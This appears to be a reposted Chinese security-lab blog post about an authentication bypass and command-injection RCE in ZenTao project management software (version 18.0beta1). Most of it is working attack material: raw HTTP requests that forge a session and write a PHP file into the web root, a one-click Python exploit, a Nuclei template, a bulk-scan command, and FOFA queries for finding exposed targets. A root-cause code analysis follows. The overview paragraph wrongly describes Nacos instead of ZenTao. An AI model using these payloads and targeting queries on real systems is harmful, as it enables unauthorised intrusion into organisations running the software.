干货分享|禅道18.0beta1RCE代码分析-附Nuclei脚本
2023-4-14 17:1:48 Author: 戟星安全实验室(查看原文) 阅读量:41 收藏

Me5 戟星安全实验室

戟星安全实验室

    忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等

本文约4373字,阅读约需11分钟。

概述

Nacos是一个易于使用的平台,专为动态服务发现和配置以及服务管理而设计。可以帮助您轻松构建云原生应用程序和微服务平台。

漏洞复现

1.获取内存合法用户

GET /zentao/misc-captcha-user.html HTTP/1.1Host: 192.168.8.143Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: zentaosid=a6ca41962cae417054d9c9ccdb736f36; lang=zh-cn; device=desktop; theme=default; windowWidth=1344; windowHeight=687Connection: close

2.用被“激活”过的session访问敏感路由实现RCE

POST /zentao/repo-edit-10000-10000.html HTTP/1.1Host: 192.168.8.143Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateReferer: http://192.168.8.143/zentao/Accept-Language: zh-CN,zh;q=0.9Cookie: zentaosid=a6ca41962cae417054d9c9ccdb736f36; lang=zh-cn; device=desktop; theme=default; windowWidth=1344; windowHeight=687Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 56
SCM=Subversion&client=echo aaaaaaaaaaaaa > shell.php --

修改了一下,上传到根目录

POST /zentao/repo-edit-10000-10000.html HTTP/1.1Host: 192.168.8.143Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateReferer: http://192.168.8.143/zentao/Accept-Language: zh-CN,zh;q=0.9Cookie: zentaosid=a6ca41962cae417054d9c9ccdb736f36; lang=zh-cn; device=desktop; theme=default; windowWidth=1344; windowHeight=687Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 71
SCM=Subversion&client=echo aaaaaaaaaaaaadd > ../../www/shelldddd2.php

一键poc编写

# -*- coding: UTF-8 -*-# !/usr/bin/python '''权限绕过+RCE POC 伪静态传参版禅道系统 影响版本 安全版本开源版 17.4以下的未知版本<=version<=18.0.beta1 18.0.beta2旗舰版 3.4以下的未知版本<=version<=4.0.beta1 4.0.beta2企业版 7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2'''import requests proxies = {    #"http": "127.0.0.1:8080",    #"https": "127.0.0.1:8080",}def check(url):    url1 = url+'/misc-captcha-user.html'    # url1 = url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参    # url2 = url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接    url4 = url + 'repo-edit-10000-10000.html'    url5 = url + 'index1.txt'    headers={        "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",        "Accept-Language":"zh-CN,zh;q=0.9",        "Cookie":"zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",    }     headers2 = {        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",        "Accept-Language": "zh-CN,zh;q=0.9",        "Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",        "Content-Type":"application/x-www-form-urlencoded",        "X-Requested-With":"XMLHttpRequest",        "Referer":url+"/repo-edit-1-0.html"    }     data1 = 'product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='    data2 = 'SCM=Subversion&client=echo 11yygd22 > ../../www/index1.txt'    s=requests.session()    try:        req1 = s.get(url1,proxies=proxies,timeout=5,verify=False,headers=headers)        req4 = s.post(url4,data=data2,proxies=proxies,timeout=5,verify=False,headers=headers2)        req5 = s.get(url5,proxies=proxies,timeout=5,verify=False,headers=headers2)        if 'yygd' in req5.text:            print(url,"")            return True    except Exception as e:        print(e)    return Falseif __name__ == '__main__':    print(check("http://192.168.80.135:81/zentao/"))

Nuclei-poc编写

id: zantaoRCE01info:  name: zantaoRCE01  author: Trevain  tags: cve,cve2023,requests:  - raw:      - |        GET /zentao/misc-captcha-user.html HTTP/1.1        Host: 192.168.8.143        Cache-Control: max-age=0        Upgrade-Insecure-Requests: 1        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9        Accept-Encoding: gzip, deflate        Accept-Language: zh-CN,zh;q=0.9        Cookie: zentaosid=a6ca41962cae417054d9c9ccdb736f38; lang=zh-cn; device=desktop; theme=default; windowWidth=1344; windowHeight=687
- | POST /zentao/repo-edit-10000-10000.html HTTP/1.1 Host: 192.168.8.143 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Referer: http://192.168.8.143/zentao/ Accept-Language: zh-CN,zh;q=0.9 Cookie: zentaosid=a6ca41962cae417054d9c9ccdb736f38; lang=zh-cn; device=desktop; theme=default; windowWidth=1344; windowHeight=687 Connection: close Content-Type: application/x-www-form-urlencoded
SCM=Subversion&client=echo aaghttaa > ../../www/nuceiText.txt
- | GET /zentao/nuceiText.txt HTTP/1.1 Host: {{Hostname}} matchers: - type: word part: body words: - 'aaghttaa'

-bs 线程数

nuclei -l ip.txt -t zantaoRCE01.yaml -bs 100 -o results.txt

fofa语法app="易软天创-禅道系统" && country="CN" && is_domain=trueapp="易软天创-禅道系统" && country="CN" && is_domain=true && port="80"

漏洞原理分析

    禅道项目管理系统的鉴权模块存在逻辑设计缺陷,可以允许攻击者利用无须授权的模块去内存中“伪造”一个合法用户,然后利用该用户访问需要授权的模块。从而调用危险的路由,导致命令执行。

    从 www/index.php 中可以分析得知,禅道在对请求参数进行初始化结束后,对即将访问的路由模块进行了检查,接着调用Common模块的checkPriv方法对请求权限进行判断。然后调用对应模块的方法执行,输出结果。代码片段如下

$app->parseRequest(); // 请求参数初始化if(!$app->setParams()) return; // 对控制器模块进行安全检查,判断方法,类文件是否存在等$common->checkPriv(); // 权限检查$common->checkIframe();$app->loadModule(); // 路由调用
找到checkPriv函数的地址。

if(isset($this->app->user))            {                $this->app->user = $this->session->user;                if(!commonModel::hasPriv($module, $method))                {                    if($module == 'story' and !empty($this->app->params['storyType']) and strpos(",story,requirement,", ",{$this->app->params['storyType']},") !== false) $module = $this->app->params['storyType'];                    $this->deny($module, $method);                }            }            else            {                ...                die(js::locate(helper::createLink('user', 'login', "referer=$referer")));            }        }        catch(EndResponseException $endResponseException)        {            echo $endResponseException->getContent();        }
代码较长,但是简而言之,这里的重点就是try语句块中的if-else判断块。从else中代码逻辑可以得出如果没有权限,返回信息输出后,将使用die函数退出。从if语句块里,没有权限将会走入deny函数中去,经过一些列判断后,最终执行helper::end(),抛出异常:
$this->deny()--->helper::end();framework/helper.class.php:public static function end($content = ''){    throw EndResponseException::create($content);}

接着我们将目光回到checkPriv函数。看最终的catch语句捕获的就是EndResponseException异常。也就是说,如果我们有机会控制逻辑判断的代码走到if语句块,那么就算没有权限。整个checkPriv函数也将会自己抛异常,自己处理。完全不影响后续执行控制器中的方法 ! 这就可以权限绕过的地方。

控制SESSION 绕过逻辑判断

我们回到checkPriv函数中,可以看到如果要满足条件进入if语句块,我们需要保证$this->app->user不为空。因此全局搜索$this->app->user =, 结果如下所示:

setUser()这个方法里面有对这个赋值。

但是找不到可以引用这个函数的。。。

直接搜索$this->session->user =是没结果的。搜索$this->session->set(可以得到如下的结果:

得到了misc模块的captcha方法:

public function captcha($sessionVar = 'captcha', $uuid = ''){        $obLevel = ob_get_level();        for($i = 0; $i < $obLevel; $i++) ob_end_clean();
header('Content-Type: image/jpeg'); $captcha = $this->app->loadClass('captcha'); $this->session->set($sessionVar, $captcha->getPhrase()); $captcha->build()->output();    }

$sessionVar的值我们可控。该功能为输出验证码的功能。因此默认一定是不需要权限的。

接着我们会有两个疑惑:

1. 此处设置过的session,下次请求还在么?

2. 该session什么时候赋值给$this->app->user

首先回答第一个问题,这里的session禅道的实现是在super这个全局超级对象类中实现的,实现的原理利用了PHP的SESSION机制。只要两次请求的PHPSESSID一致,那么获取到的session就是一致的。

第二个问题,发现commonModel在实例化的时候将会调用setUser方法,在这个方法中将session中保存的值放到全局的app对象中,代码片段如下:

    public function setUser(){        if($this->session->user)        {            if(!defined('IN_UPGRADE')) $this->session->user->view = $this->loadModel('user')->grantUserView();            $this->app->user = $this->session->user;        }// ...

但是还是不是很理解,$this->session->set()怎么到commonModel实例化。

攻击点的寻找

repo模块的edit方法将会调用update方法,接着调用checkConnection方法对仓库是否可连接进行检查,checkConnection中危险操作如下:

    public function update($id){        ...        if(!$this->checkConnection()) return false;    }
public function checkConnection(){ if(empty($_POST)) return false;
$scm = $this->post->SCM; $client = $this->post->client; $account = $this->post->account; $password = $this->post->password; $encoding = strtoupper($this->post->encoding); $path = $this->post->path; if($encoding != 'UTF8' and $encoding != 'UTF-8') $path = helper::convertEncoding($path, 'utf-8', $encoding);
if($scm == 'Subversion') { /* Get svn version. */ $versionCommand = "$client --version --quiet 2>&1";            exec($versionCommand, $versionOutput, $versionResult);

$client参数可以直接拼接进入到exec函数执行。在此,对代码分析后,并未发现需要网络上讲的需要先执行create,因为代码逻辑中并未对仓库是否存在做检查。不知道是我的版本问题,还是其他原因。暂且未深究。

往期回顾

干货分享|Nacos 身份认证绕过漏洞复现-附Nuclei脚本
干货分享|IOS渗透测试指南
干货分享|安卓7.0以上安装证书
【干货分享】栈溢出和shellcode开发(一)

声明

    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。

    戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

戟星安全实验室

# 长按二维码 || 点击下方名片 关注我们 #


文章来源: http://mp.weixin.qq.com/s?__biz=MzkzMDMwNzk2Ng==&mid=2247509537&idx=1&sn=2bbd712b1a1ffb02d669cc94a990d908&chksm=c27eac30f50925268ddae4ad90963d21f54dacf24f6defc285f1facddac11f5143abd6afdad2#rd
如有侵权请联系:admin#unsafe.sh